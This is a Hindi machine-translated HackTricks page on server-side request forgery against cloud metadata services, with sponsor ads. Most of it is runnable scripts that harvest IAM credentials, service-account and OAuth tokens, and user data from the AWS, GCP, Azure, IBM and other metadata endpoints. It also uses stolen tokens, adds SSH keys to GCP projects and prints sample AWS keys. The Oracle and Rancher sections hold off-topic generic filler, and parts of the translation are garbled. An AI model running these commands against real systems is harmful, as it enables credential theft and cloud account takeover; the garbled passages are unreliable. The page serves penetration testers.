hacktricks/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

41 KiB

क्लाउड SSRF

☁️ HackTricks क्लाउड ☁️ -🐦 ट्विटर 🐦 - 🎙️ ट्विच 🎙️ - 🎥 यूट्यूब 🎥

विशेषता को जल्दी से ठीक करने के लिए महत्वपूर्ण संकटों की खोज करें। Intruder आपकी हमले की सतह का ट्रैक करता है, प्रोएक्टिव धारणा स्कैन चलाता है, एपीआई से वेब ऐप्स और क्लाउड सिस्टम तक अपनी पूरी टेक स्टैक में मुद्दों का पता लगाता है। इसे नि: शुल्क परीक्षण के लिए आज़माएं

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


AWS

AWS EC2 पर SSRF का दुरुपयोग

मेटाडेटा एंडपॉइंट किसी भी EC2 मशीन के अंदर से पहुंचा जा सकता है और इसके बारे में दिलचस्प जानकारी प्रदान करता है। इसे यूआरएल में एक्सेस किया जा सकता है: http://169.254.169.254 (मेटाडेटा के बारे में जानकारी यहां)।

मेटाडेटा एंडपॉइंट के 2 संस्करण हैं। पहला संस्करण GET अनुरोधों के माध्यम से एंडपॉइंट तक पहुंचने की अनुमति देता है (इसलिए कोई भी SSRF इसका दुरुपयोग कर सकता है)। दूसरे संस्करण, IMDSv2, के लिए, आपको एक टोकन के साथ एक PUT अनुरोध भेजकर पूछना होगा और फिर उस टोकन का उपयोग करके दूसरे HTTP हैडर के साथ मेटाडेटा तक पहुंचने की आवश्यकता होगी (इसलिए इसे SSRF के साथ अधिक कठिन कर दिया गया है)।

{% hint style="danger" %} ध्यान दें कि यदि EC2 इंस्टेंस IMDSv2 को प्रयोग कर रहा है, दस्तावेज़ों के अनुसार, PUT अनुरोध का प्रतिक्रिया का हॉप सीमा 1 होगी, जिससे EC2 मेटाडेटा का एक कंटेनर के अंदर से पहुंचना असंभव हो जाएगा।

इसके अलावा, IMDSv2 भी X-Forwarded-For हैडर को सम्मिलित करने वाले टोकन को फ़ेच करने के लिए अनुरोधों को ब्लॉक करेगा। इसका उद्देश्य यह है कि गलत रूप से कॉन्फ़िगर किए गए रिवर्स प्रॉक्सी इसे एक्सेस करने में सक्षम न हों। {% endhint %}

आप दस्तावेज़ों में मेटाडेटा एंडपॉइंट्स के बारे में जानकारी पा सकते हैं। निम्नलिखित स्क्रिप्ट में कुछ दिलचस्प जानकारी प्राप्त की जाती है:

EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi

printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""

echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""

echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done

echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done

echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"

echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""

एक सार्वजनिक रूप से उपलब्ध IAM क्रेडेंशियल्स के उदाहरण के रूप में आप यहां जा सकते हैं: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws

आप यहां जाकर सार्वजनिक EC2 सुरक्षा क्रेडेंशियल्स भी जांच सकते हैं: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

फिर आप उन क्रेडेंशियल्स को ले और उन्हें AWS CLI के साथ उपयोग कर सकते हैं। इससे आपको उस भूमिका के अनुमतियों के अनुसार कुछ भी करने की अनुमति मिलेगी।

नए क्रेडेंशियल्स का लाभ उठाने के लिए, आपको एक नया AWS प्रोफ़ाइल बनाने की आवश्यकता होगी, जैसे इस तरह का:

[profilename]
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=

ध्यान दें aws_session_token को, यह प्रोफ़ाइल के काम के लिए अनिवार्य है।

PACU को खोजे गए क्रेडेंशियल के साथ उपयोग किया जा सकता है ताकि आपकी विशेषाधिकारों का पता लगाया जा सके और विशेषाधिकारों को उन्नत करने का प्रयास किया जा सके।

AWS ECS (कंटेनर सेवा) क्रेडेंशियल में SSRF

ECS, एक ऐसा तार्किक समूह है जिसमें आप अपने खुद के क्लस्टर प्रबंधन बुनियादी ढांचा को स्केल करने के बिना एक एप्लिकेशन चला सकते हैं क्योंकि ECS आपके लिए उसे प्रबंधित करता है। यदि आप ECS में चल रही सेवा को संक्रमित करने में सफल होते हैं, तो मेटाडेटा एंडपॉइंट्स बदल जाते हैं

यदि आप http://169.254.170.2/v2/credentials/<GUID> तक पहुंचते हैं, तो आप ECS मशीन के क्रेडेंशियल पाएंगे। लेकिन पहले आपको <GUID> ढूंढना होगा। <GUID> ढूंढने के लिए, आपको मशीन के अंदर environ चर के AWS_CONTAINER_CREDENTIALS_RELATIVE_URI चर को पढ़ने की आवश्यकता होगी।
आप file:///proc/self/environ पर पथ ट्रावर्सल का उपयोग करके इसे पढ़ सकते हैं। उल्लिखित http पते से आपको AccessKey, SecretKey और टोकन मिलेगा।

curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -

{% hint style="info" %} ध्यान दें कि कुछ मामलों में आप कंटेनर से EC2 मेटाडेटा इंस्टेंस तक पहुंच सकेंगे (पहले से उल्लिखित IMDSv2 TTL सीमाएं देखें)। इन स्थितियों में कंटेनर से आप कंटेनर IAM रोल और EC2 IAM रोल दोनों का उपयोग कर सकते हैं। {% endhint %}

AWS Lambda के लिए SSRF

इस मामले में क्रेडेंशियल्स env variables में संग्रहित होते हैं। इसलिए, उन्हें एक चीज़ जैसे file:///proc/self/environ तक पहुंचने के लिए आपको इस्तेमाल करना होगा।

दिलचस्प env variables के नाम हैं:

  • AWS_SESSION_TOKEN
  • AWS_SECRET_ACCESS_KEY
  • AWS_ACCES_KEY_ID

इसके अलावा, IAM क्रेडेंशियल के अलावा, लैम्बडा फंक्शनों में भी इवेंट डेटा होता है जो फंक्शन को शुरू करने पर उसे पास किया जाता है। यह डेटा फंक्शन के लिए रनटाइम इंटरफ़ेस के माध्यम से उपलब्ध होता है और इसमें संवेदनशील जानकारी (जैसे stageVariables के अंदर) हो सकती है। IAM क्रेडेंशियल की तरह, यह डेटा http://localhost:9001/2018-06-01/runtime/invocation/next पर साधारित SSRF के माध्यम से पहुंचने योग्य है।

{% hint style="warning" %} ध्यान दें कि लैम्बडा क्रेडेंशियल्स env variables में होते हैं। इसलिए यदि लैम्बडा कोड की स्टैक ट्रेस env vars प्रिंट करती है, तो ऐप में एक त्रुटि को उत्पन्न करके उन्हें बाहरीकरण करना संभव है। {% endhint %}

AWS Elastic Beanstalk के लिए SSRF URL

हम API से accountId और region पुनर्प्राप्त करते हैं।

http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

फिर हम API से AccessKeyId, SecretAccessKey, और Token प्राप्त करते हैं।

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

फिर हम aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/ के साथ क्रेडेंशियल का उपयोग करते हैं।

GCP

आप यहां मेटाडेटा एंडपॉइंट्स के बारे में दस्तावेज़ ढूंढ सकते हैं

Google Cloud के लिए SSRF URL

हेडर "Metadata-Flavor: Google" या "X-Google-Metadata-Request: True" की आवश्यकता होती है और आप निम्नलिखित URL के साथ मेटाडेटा एंडपॉइंट तक पहुंच सकते हैं:

जानकारी निकालने के लिए दिलचस्प एंडपॉइंट्स:

# /project
# Project name and number
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/project/attributes/?recursive=true

# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize

# /instance
# Description
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo "  IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo "  Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo "  Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo "  DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo "  Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo "  ==============  "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig

# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

वर्तमान में बेटा को हेडर की आवश्यकता नहीं है (धन्यवाद Mathias Karlsson @avlidienbrunn)

http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

{% hint style="danger" %} छीने गए सेवा खाता टोकन का उपयोग करने के लिए आप बस यह कर सकते हैं:

# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list

# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file

{% endhint %}

एक SSH कुंजी जोड़ें

टोकन निकालें

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

टोकन की सीमा की जांच करें

$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}

अब SSH की कुंजी को पुश करें।

{% code overflow="wrap" %}

curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'

{% endcode %}

डिजिटल ओशन

{% hint style="warning" %} AWS रोल या GCP सेवा खाता जैसी चीजें नहीं होती हैं, इसलिए मेटाडेटा बॉट क्रेडेंशियल्स की उम्मीद न करें {% endhint %}

दस्तावेज़ीकरण यहां उपलब्ध है: https://developers.digitalocean.com/documentation/metadata/

curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq

सबसे महत्वपूर्ण सुरक्षा खोजें ताकि आप उन्हें तेजी से ठीक कर सकें। Intruder आपकी हमले की सतह का ट्रैक करता है, प्रोएक्टिव धारणा स्कैन चलाता है, एपीआई से वेब ऐप्स और क्लाउड सिस्टम तक आपके पूरे टेक स्टैक में मुद्दों को खोजता है। इसे नि: शुल्क में ट्राय करें आज ही।

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


Azure

Azure VM

यहां दस्तावेज़ में हैं।

  • अवश्य Metadata: true हेडर को शामिल करना चाहिए
  • X-Forwarded-For हेडर शामिल नहीं होना चाहिए

{% tabs %} {% tab title="Bash" %} {% code overflow="wrap" %}

HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions

echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"

echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"

echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"

echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"

echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"

echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"

{% endcode %} {% endtab %}

{% tab title="प्रश्न" %}

# Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))

# Paths
/metadata/instance?api-version=2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text

{% endtab %} {% endtabs %}

Azure App Service

env से आप IDENTITY_HEADER और IDENTITY_ENDPOINT के मान प्राप्त कर सकते हैं। इसे आप मेटाडेटा सर्वर के साथ बातचीत करने के लिए उपयोग कर सकते हैं।

अधिकांश समय, आप इन संसाधनों में से किसी के लिए टोकन चाहते हैं:

# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT

# You should also be able to find the folder:
ls /opt/microsoft
#and the file
ls /opt/microsoft/msodbcsql17

# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

# API
# Get Subscriptions
URL="https://management.azure.com/subscriptions?api-version=2020-01-01"
curl -H "Authorization: $TOKEN" "$URL"
# Get current permission on resources in the subscription
URL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"
curl -H "Authorization: $TOKEN" "$URL"
# Get permissions in a VM
URL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl -H "Authorization: $TOKEN" "$URL"
# API request in powershell to management endpoint
$Token = 'eyJ0eX..'
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# API request to graph endpoint (get enterprise applications)
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# Using AzureAD Powershell module witho both management and graph tokens
$token = 'eyJ0e..'
$graphaccesstoken = 'eyJ0eX..'
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc

# Try to get current perms over resources
Get-AzResource
## The following error means that the user doesn't have permissions over any resource
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
At line:1 char:1
+ Get-AzResource
+ ~~~~~~~~~~~~~~
+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
+ FullyQualifiedErrorId :
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet

IBM Cloud

{% hint style="warning" %} ध्यान दें कि IBM में डिफ़ॉल्ट रूप से मेटाडेटा सक्षम नहीं होता है, इसलिए यदि आप एक IBM क्लाउड VM के अंदर हैं तो आप उसे एक्सेस करने में सक्षम नहीं होंगे। {% endhint %}

{% code overflow="wrap" %}

export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`

# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq

# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq

# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq

# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq

# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq

{% endcode %}

Packetcloud

https://metadata.packet.net/userdata पर उपलब्ध दस्तावेज़ीकरण

OpenStack/RackSpace

(हेडर आवश्यक? अज्ञात)

http://169.254.169.254/openstack

HP Helion

(हेडर की आवश्यकता? अज्ञात)

http://169.254.169.254/2009-04-04/meta-data/

Oracle Cloud

Oracle Cloud is a cloud computing platform provided by Oracle Corporation. It offers a wide range of cloud services, including infrastructure as a service (IaaS), platform as a service (PaaS), and software as a service (SaaS). With Oracle Cloud, users can deploy and manage applications and services on the cloud, leveraging the scalability and flexibility of the platform.

Oracle Cloud provides various features and functionalities that make it a popular choice among businesses and developers. These include high-performance computing capabilities, data storage and management services, networking solutions, and security features. Additionally, Oracle Cloud offers integration with other Oracle products and services, allowing users to build comprehensive and customized solutions.

When it comes to security, Oracle Cloud implements robust measures to protect user data and ensure the confidentiality, integrity, and availability of resources. This includes encryption of data at rest and in transit, identity and access management controls, network security, and monitoring and auditing capabilities.

Overall, Oracle Cloud is a reliable and feature-rich cloud platform that enables organizations to leverage the power of cloud computing for their business needs. Whether it's deploying applications, managing data, or ensuring security, Oracle Cloud provides the tools and services required to succeed in the cloud environment.

http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/

अलीबाबा

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id

Kubernetes ETCD

API कुंजी और आंतरिक IP और पोर्ट को संग्रहित कर सकता है।

curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true

डॉकर

http://127.0.0.1:2375/v1.24/containers/jsonSimple example
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json

Rancher

Rancher is a popular open-source container management platform that allows users to easily deploy and manage containers in a Kubernetes cluster. It provides a user-friendly interface for managing containerized applications and offers features such as load balancing, scaling, and monitoring.

Rancher can be vulnerable to Server-Side Request Forgery (SSRF) attacks, which can be used by an attacker to make requests to internal resources or external services from the perspective of the Rancher server. This can lead to unauthorized access to sensitive information, remote code execution, or even a complete compromise of the underlying infrastructure.

To prevent SSRF attacks in Rancher, it is important to follow security best practices such as:

  1. Input validation: Ensure that all user-supplied input is properly validated and sanitized before being used in requests. This includes URL parameters, headers, and request bodies.

  2. Whitelisting: Implement a whitelist of allowed URLs or IP addresses that the Rancher server can access. This can help restrict requests to trusted resources and prevent access to internal or sensitive systems.

  3. Network segmentation: Ensure that the Rancher server is deployed in a secure network segment that is isolated from critical infrastructure components. This can help minimize the impact of a successful SSRF attack.

  4. Access controls: Implement strong access controls and authentication mechanisms to restrict unauthorized access to the Rancher server. This includes using strong passwords, multi-factor authentication, and regularly reviewing and revoking unnecessary privileges.

By following these best practices, organizations can mitigate the risk of SSRF attacks in Rancher and ensure the security of their containerized applications and infrastructure.

curl http://rancher-metadata/<version>/<path>

वे संगठनों को खोजें जो सबसे अधिक मायने रखते हैं ताकि आप उन्हें जल्दी ठीक कर सकें। Intruder आपके हमले की सतह का ट्रैक करता है, प्रोएक्टिव धमकी स्कैन चलाता है, आपकी पूरी टेक स्टैक, एपीआई से वेब ऐप्स और क्लाउड सिस्टम तक, में समस्याएं खोजता है। अभी मुफ्त में प्रयास करें आज ही।

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥